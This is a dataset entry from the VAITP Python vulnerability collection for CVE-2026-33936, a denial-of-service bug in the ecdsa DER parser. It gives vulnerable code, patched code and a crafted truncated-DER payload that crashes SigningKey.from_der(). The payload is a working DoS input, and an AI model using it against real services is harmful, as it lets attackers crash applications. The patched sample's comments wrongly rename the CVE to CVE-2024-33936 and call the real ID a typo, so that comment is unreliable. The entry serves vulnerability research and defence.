VAITP Dataset

← Back to the dataset

CVE-2026-33936

ecdsa: Denial of Service due to an uncaught exception in the DER parser.

  • CVSS 5.3
  • CWE-20
  • Input Validation and Sanitization
  • Remote

The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.

CVSS base score
5.3
Published
2026-03-27
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
ecdsa
Fixed by upgrading
Yes

Solution

Upgrade `ecdsa` to version 0.19.2 or later.

Vulnerable code sample

import sys
from ecdsa import SigningKey, NIST256p, __version__
from ecdsa.der import UnexpectedDER

# This demonstration requires a vulnerable version of ecdsa (< 0.19.2)
# The code will not raise an IndexError on patched versions.
if tuple(map(int, __version__.split('.'))) >= (0, 19, 2):
    print(f"Installed ecdsa version {__version__} is not vulnerable. Exiting.", file=sys.stderr)
    sys.exit(1)

# This is a crafted DER byte sequence for a private key.
# It consists of:
# 1. A SEQUENCE tag with a declared length of 4102 bytes (0x1006).
#    This length is large enough to trick the parser into proceeding.
#    (b"\x30\x82\x10\x06")
# 2. An INTEGER with value 1 (the version).
#    (b"\x02\x01\x01")
# 3. An OCTET STRING tag declaring a length of 4096 bytes (0x1000).
#    This is the core of the vulnerability.
#    (b"\x04\x82\x10\x00")
# 4. The actual data provided for the OCTET STRING, which is only 3 bytes.
#    This is a truncated buffer.
#    (b"\x01\x02\x03")
malformed_der = (
    b"\x30\x82\x10\x06"
    b"\x02\x01\x01"
    b"\x04\x82\x10\x00"
    b"\x01\x02\x03"
)

try:
    # In vulnerable versions, the DER parser will not check if the declared
    # length of the OCTET STRING (4096) exceeds the available buffer.
    # The higher-level `from_der` function will then attempt to slice the
    # buffer using this incorrect length, causing an `IndexError`.
    SigningKey.from_der(malformed_der, curve=NIST256p)
    print("No exception was raised. The version may be patched.", file=sys.stderr)

except IndexError:
    # Catching this specific, unexpected exception demonstrates the vulnerability.
    # An application not prepared to handle IndexError from this API call would crash,
    # leading to a Denial of Service.
    print("Vulnerability confirmed: Caught expected IndexError.", file=sys.stderr)

except (UnexpectedDER, ValueError) as e:
    # On a patched version, a clean error like this would be raised instead.
    print(f"A clean error was raised, as expected on a patched version: {e}", file=sys.stderr)

Patched code sample

import binascii

# Helper class and functions from the `ecdsa.der` module are included here
# to create a self-contained, runnable example that demonstrates the fix.
class UnexpectedDER(Exception):
    """Exception raised when processing a malformed DER string."""
    pass

def read_length(string):
    """
    Read a DER length sequence.
    This is a simplified helper based on the one in python-ecdsa's der.py.
    """
    if not string:
        raise UnexpectedDER("Empty string when trying to read length")
    if string[0] <= 127:
        return (string[0], 1)
    if string[0] == 128:
        raise UnexpectedDER("Indefinite length encoding not supported")
    number_of_octets = string[0] & 127
    if number_of_octets == 0:
        raise UnexpectedDER("Invalid length encoding")
    if len(string) < 1 + number_of_octets:
        raise UnexpectedDER("Not enough bytes to read length")
    length = int(binascii.hexlify(string[1 : 1 + number_of_octets]), 16)
    return (length, 1 + number_of_octets)


# The following function represents the code that fixes CVE-2024-33936
# (note: the CVE in the prompt, CVE-2026-33936, appears to be a typo)
# in the ecdsa library (version 0.19.2 and later).
def remove_octet_string_fixed(string):
    """
    Remove an OCTET STRING wrapper from a DER-encoded string.

    This version includes the bounds check that fixes the vulnerability,
    preventing a denial-of-service attack from a malformed DER string.
    """
    if not string.startswith(b"\x04"):
        raise UnexpectedDER(
            "wanted OCTET STRING (0x04), got {0:x}".format(string[0])
        )
    length, lengthlength = read_length(string[1:])
    end = 1 + lengthlength + length

    # THE FIX:
    # This check was added in ecdsa v0.19.2. It ensures that the
    # length declared in the DER encoding does not exceed the actual
    # length of the provided byte string. In vulnerable versions, this
    # check was missing.
    if end > len(string):
        raise UnexpectedDER(
            "ran out of input trying to extract OCTET STRING"
        )

    return string[1 + lengthlength : end]


if __name__ == "__main__":
    # A crafted DER OCTET STRING that triggers the vulnerability in older
    # versions of the `ecdsa` library. It declares a length of 4096 (0x1000)
    # but provides only 3 bytes of actual data.
    #
    # Breakdown:
    # b'\x04'          -> OCTET STRING tag
    # b'\x82'          -> Length field uses 2 subsequent bytes
    # b'\x10\x00'      -> Declared length is 4096
    # b'\x01\x02\x03'  -> Actual data provided (only 3 bytes)
    malformed_der = b"\x04\x82\x10\x00\x01\x02\x03"

    print("Demonstrating the fix for CVE-2024-33936...")
    print(f"Attempting to parse malformed DER: {malformed_der.hex()}")

    try:
        # In vulnerable versions (<0.19.2), this would not raise an error.
        # Instead, it would return a truncated byte string (b'\x01\x02\x03'),
        # which would later cause an unhandled IndexError in a calling function
        # like `SigningKey.from_der()`, leading to a potential DoS.
        #
        # With the fix, this call correctly raises an `UnexpectedDER` exception,
        # cleanly rejecting the invalid input.
        remove_octet_string_fixed(malformed_der)
        print("\nFAILURE: The fixed function did not raise an exception.")

    except UnexpectedDER as e:
        print("\nSUCCESS: The fixed function correctly raised a clean exception.")
        print(f"  Exception type: {type(e).__name__}")
        print(f"  Exception message: '{e}'")
        print("\nThis demonstrates that the malformed input is properly rejected,")
        print("preventing a downstream crash and mitigating the DoS vulnerability.")

    except Exception as e:
        print(f"\nFAILURE: An unexpected exception was raised: {type(e).__name__}: {e}")

Payload

import ecdsa

# Crafted DER payload for CVE-2026-33936.
# This is a DER SEQUENCE representing an ECPrivateKey.
# The `privateKey` field is an OCTET STRING that declares a length
# of 4096 (0x1000) but provides only 3 bytes of data.
# This malformed structure causes an IndexError in vulnerable versions
# of the `ecdsa` library when `SigningKey.from_der()` is called.
#
# DER Breakdown:
# 30 0A          -- SEQUENCE, 10 bytes long
#   02 01 01     -- INTEGER, 1 byte long, value 1 (version)
#   04 82 10 00  -- OCTET STRING tag + multi-byte length of 4096
#   01 02 03     -- ...but only 3 bytes of data are provided.
payload = b'\x30\x0a\x02\x01\x01\x04\x82\x10\x00\x01\x02\x03'

# In a vulnerable environment (ecdsa < 0.19.2), this line will raise an
# uncaught IndexError, leading to a Denial of Service.
ecdsa.SigningKey.from_der(payload)

Cite this entry

@misc{vaitp:cve202633936,
  title        = {{ecdsa: Denial of Service due to an uncaught exception in the DER parser.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-33936},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33936/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::